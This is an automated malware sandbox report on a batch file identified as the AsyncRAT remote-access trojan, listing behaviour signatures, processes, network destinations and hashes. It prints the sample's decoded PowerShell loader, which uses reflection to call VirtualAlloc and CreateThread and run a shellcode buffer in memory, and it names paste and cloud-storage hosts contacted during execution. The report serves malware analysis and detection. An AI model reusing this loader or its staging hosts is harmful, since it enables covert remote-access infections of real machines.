Analysis Overview
SHA256
8ea56b9b4f79485aedb615161ba64c55950a6970f21dc0f2a7691dd66de91cd2
Threat Level: Known bad
The file black.bat was found to be: Known bad.
Malicious Activity Summary
AsyncRat
Async RAT payload
Blocklisted process makes network request
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Analysis: static1
Detonation Overview
Reported
2024-07-14 06:34
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-14 06:34
Reported
2024-07-14 06:35
Platform
win11-20240709-en
Max time kernel
20s
Max time network
23s
Command Line
Signatures
AsyncRat
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\black.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e $ P r o g r e s s P r e f e r e n c e   =   ' S i l e n t l y C o n t i n u e ' 
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         $ a s s e m   =   ( [ A p p D o m a i n ] : : C u r r e n t D o m a i n . G e t A s s e m b l i e s ( )   |   W h e r e - O b j e c t   {   $ _ . G l o b a l A s s e m b l y C a c h e   - A n d   $ _ . L o c a t i o n . S p l i t ( ' \ \ ' ) [ - 1 ] . E q u a l s ( ' S y s t e m . d l l ' ) } ) . G e t T y p e ( ' M i c r o s o f t . W i n 3 2 . U n s a f e N a t i v e M e t h o d s ' ) 
         $ t m p   =   $ a s s e m . G e t M e t h o d s ( )   |   F o r E a c h - O b j e c t   { I f ( $ _ . N a m e   - e q   " G e t P r o c A d d r e s s " )   { $ _ } }   
         $ h a n d l e   =   $ a s s e m . G e t M e t h o d ( ' G e t M o d u l e H a n d l e ' ) . I n v o k e ( $ n u l l ,   @ ( $ m o d u l e N a m e ) ) ; 
         [ I n t P t r ]   $ r e s u l t   =   0 ; 
         t r y   { 
                 W r i t e - H o s t   " F i r s t   I n v o k e   -   $ m o d u l e N a m e   $ f u n c t i o n N a m e " ; 
                 $ r e s u l t   =   $ t m p [ 0 ] . I n v o k e ( $ n u l l ,   @ ( $ h a n d l e ,   $ f u n c t i o n N a m e ) ) ; 
         } c a t c h   { 
                 W r i t e - H o s t   " S e c o n d   I n v o k e   -   $ m o d u l e N a m e   $ f u n c t i o n N a m e " ; 
                 $ h a n d l e   =   n e w - o b j e c t   - T y p e N a m e   S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s . H a n d l e R e f   - A r g u m e n t L i s t   @ ( $ n u l l ,   $ h a n d l e ) ; 
                 $ r e s u l t   =   $ t m p [ 0 ] . I n v o k e ( $ n u l l ,   @ ( $ h a n d l e ,   $ f u n c t i o n N a m e ) ) ; 
         } 
         r e t u r n   $ r e s u l t ; 
 } 
 f u n c t i o n   g e t D e l e g a t e T y p e   { 
         P a r a m   ( [ P a r a m e t e r ( P o s i t i o n   =   0 ,   M a n d a t o r y   =   $ T r u e ) ]   [ T y p e [ ] ]   $ f u n c , [ P a r a m e t e r ( P o s i t i o n   =   1 ) ]   [ T y p e ]   $ d e l T y p e   =   [ V o i d ] ) 
         $ t y p e   =   [ A p p D o m a i n ] : : C u r r e n t D o m a i n . D e f i n e D y n a m i c A s s e m b l y ( ( N e w - O b j e c t   S y s t e m . R e f l e c t i o n . A s s e m b l y N a m e ( ' R e f l e c t e d D e l e g a t e ' ) ) ,   [ S y s t e m . R e f l e c t i o n . E m i t . A s s e m b l y B u i l d e r A c c e s s ] : : R u n ) . D e f i n e D y n a m i c M o d u l e ( ' I n M e m o r y M o d u l e ' ,   $ f a l s e ) . D e f i n e T y p e ( ' M y D e l e g a t e T y p e ' , ' C l a s s ,   P u b l i c ,   S e a l e d ,   A n s i C l a s s ,   A u t o C l a s s ' ,   [ S y s t e m . M u l t i c a s t D e l e g a t e ] ) 
         $ t y p e . D e f i n e C o n s t r u c t o r ( ' R T S p e c i a l N a m e ,   H i d e B y S i g ,   P u b l i c ' , [ S y s t e m . R e f l e c t i o n . C a l l i n g C o n v e n t i o n s ] : : S t a n d a r d ,   $ f u n c ) . S e t I m p l e m e n t a t i o n F l a g s ( ' R u n t i m e ,   M a n a g e d ' ) 
         $ t y p e . D e f i n e M e t h o d ( ' I n v o k e ' ,   ' P u b l i c ,   H i d e B y S i g ,   N e w S l o t ,   V i r t u a l ' ,   $ d e l T y p e ,   $ f u n c ) . S e t I m p l e m e n t a t i o n F l a g s ( ' R u n t i m e ,   M a n a g e d ' ) 
         r e t u r n   $ t y p e . C r e a t e T y p e ( )   
 } 
 
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 $ l p M e m   =   [ S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s . M a r s h a l ] : : G e t D e l e g a t e F o r F u n c t i o n P o i n t e r ( ( L o o k u p F u n c   k e r n e l 3 2 . d l l   V i r t u a l A l l o c ) , ( g e t D e l e g a t e T y p e   @ ( [ I n t P t r ] ,   [ U I n t 3 2 ] ,   [ U I n t 3 2 ] ,   [ U I n t 3 2 ] ) ( [ I n t P t r ] ) ) ) . I n v o k e ( [ I n t P t r ] : : Z e r o ,   $ b u f . l e n g t h ,   0 x 3 0 0 0 ,   0 x 4 0 ) 
 [ S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s . M a r s h a l ] : : C o p y ( $ b u f ,   0 ,   $ l p M e m ,   $ b u f . l e n g t h ) 
 $ h T h r e a d   =   [ S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s . M a r s h a l ] : : G e t D e l e g a t e F o r F u n c t i o n P o i n t e r ( ( L o o k u p F u n c   k e r n e l 3 2 . d l l   C r e a t e T h r e a d ) , ( g e t D e l e g a t e T y p e   @ ( [ I n t P t r ] ,   [ U I n t 3 2 ] ,   [ I n t P t r ] ,   [ I n t P t r ] , [ U I n t 3 2 ] ,   [ I n t P t r ] ) ( [ I n t P t r ] ) ) ) . I n v o k e ( [ I n t P t r ] : : Z e r o , 0 , $ l p M e m , [ I n t P t r ] : : Z e r o , 0 , [ I n t P t r ] : : Z e r o ) 
 [ S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s . M a r s h a l ] : : G e t D e l e g a t e F o r F u n c t i o n P o i n t e r ( ( L o o k u p F u n c   k e r n e l 3 2 . d l l   W a i t F o r S i n g l e O b j e c t ) , ( g e t D e l e g a t e T y p e   @ ( [ I n t P t r ] ,   [ I n t 3 2 ] ) ( [ I n t ] ) ) ) . I n v o k e ( $ h T h r e a d ,   0 x F F F F F F F F ) 
C:\Program Files\Common Files\microsoft shared\MSInfo\msinfo32.exe
"C:\Program Files\Common Files\microsoft shared\MSInfo\msinfo32.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | upnow-prod.ff45e40d1a1c8f7e7de4e976d0c9e555.r2.cloudflarestorage.com | udp |
| US | 104.18.8.90:443 | upnow-prod.ff45e40d1a1c8f7e7de4e976d0c9e555.r2.cloudflarestorage.com | tcp |
| US | 8.8.8.8:53 | 90.8.18.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 74.32.126.40.in-addr.arpa | udp |
| US | 172.67.144.225:443 | paste.fo | tcp |
| N/A | 10.14.0.3:7707 | tcp |
Files
memory/3108-0-0x00007FF9C7493000-0x00007FF9C7495000-memory.dmp
memory/3108-1-0x00007FF9C7490000-0x00007FF9C7F52000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dvpiyjnu.smt.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3108-2-0x0000018F71EC0000-0x0000018F71EE2000-memory.dmp
memory/3108-11-0x00007FF9C7490000-0x00007FF9C7F52000-memory.dmp
memory/3108-12-0x00007FF9C7490000-0x00007FF9C7F52000-memory.dmp
memory/3108-13-0x0000018F723F0000-0x0000018F72442000-memory.dmp
memory/3108-14-0x00007FF9C7490000-0x00007FF9C7F52000-memory.dmp
memory/3108-15-0x00007FF9C7490000-0x00007FF9C7F52000-memory.dmp
memory/1556-22-0x0000022742CA0000-0x0000022742CB3000-memory.dmp
memory/3108-20-0x00007FF9C7493000-0x00007FF9C7495000-memory.dmp
memory/1556-23-0x00007FF9C7493000-0x00007FF9C7495000-memory.dmp
memory/1556-24-0x0000022742D60000-0x0000022742D72000-memory.dmp
memory/3108-25-0x00007FF9C7490000-0x00007FF9C7F52000-memory.dmp
memory/1556-26-0x00007FF9C7490000-0x00007FF9C7F52000-memory.dmp
memory/3108-27-0x0000018F723F0000-0x0000018F72442000-memory.dmp
memory/3108-28-0x00007FF9C7490000-0x00007FF9C7F52000-memory.dmp